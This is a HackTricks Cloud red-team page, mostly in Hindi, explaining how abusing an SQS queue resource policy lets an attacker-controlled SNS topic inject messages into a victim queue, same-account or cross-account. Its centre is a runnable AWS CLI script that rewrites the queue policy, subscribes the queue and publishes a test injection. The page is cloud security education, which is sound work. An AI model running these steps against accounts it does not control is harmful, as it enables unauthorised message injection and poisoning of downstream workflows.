AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
विवरण
एक attacker-controlled SNS topic को victim SQS queue में संदेश प्रकाशित करने की अनुमति देने के लिए SQS queue resource policy का दुरुपयोग करें। उसी खाते में, एक SQS subscription किसी SNS topic के लिए स्वतः-सत्यापित (auto-confirms) हो जाती है; क्रॉस-खाते में, आपको queue से SubscriptionConfirmation token पढ़ना होगा और ConfirmSubscription को कॉल करना होगा। इससे ऐसे संदेश इंजेक्शन की अनुमति मिलती है जिन्हें downstream consumers अनजाने में भरोसा कर सकेंगे।
आवश्यकताएँ
- लक्षित SQS queue resource policy को संशोधित करने की क्षमता:
sqs:SetQueueAttributeson the victim queue. - attacker द्वारा नियंत्रित SNS topic बनाने/प्रकाशित करने की क्षमता:
sns:CreateTopic,sns:Publish, औरsns:Subscribeon the attacker account/topic. - केवल क्रॉस-खाता: confirmation token पढ़ने और
sns:ConfirmSubscriptionको कॉल करने के लिए victim queue पर अस्थायीsqs:ReceiveMessage।
समान-खाते में शोषण
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
क्रॉस-एकाउंट नोट्स
- The queue policy ऊपर
TOPIC_ARN(हमलावर खाता) को अनुमति देनी चाहिए। - Subscriptions अपने आप auto-confirm नहीं होंगी। victim queue पर अपने लिए अस्थायी
sqs:ReceiveMessageअनुमति दें ताकिSubscriptionConfirmationmessage पढ़ सकें और फिर उसकेTokenके साथsns confirm-subscriptionकॉल करें।
प्रभाव
संभावित प्रभाव: विश्वसनीय SQS queue में SNS के माध्यम से लगातार अनचाहे संदेश इंजेक्शन, जो संभावित रूप से अनपेक्षित प्रोसेसिंग, डेटा प्रदूषण, या वर्कफ़्लो का दुरुपयोग ट्रिगर कर सकता है।
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

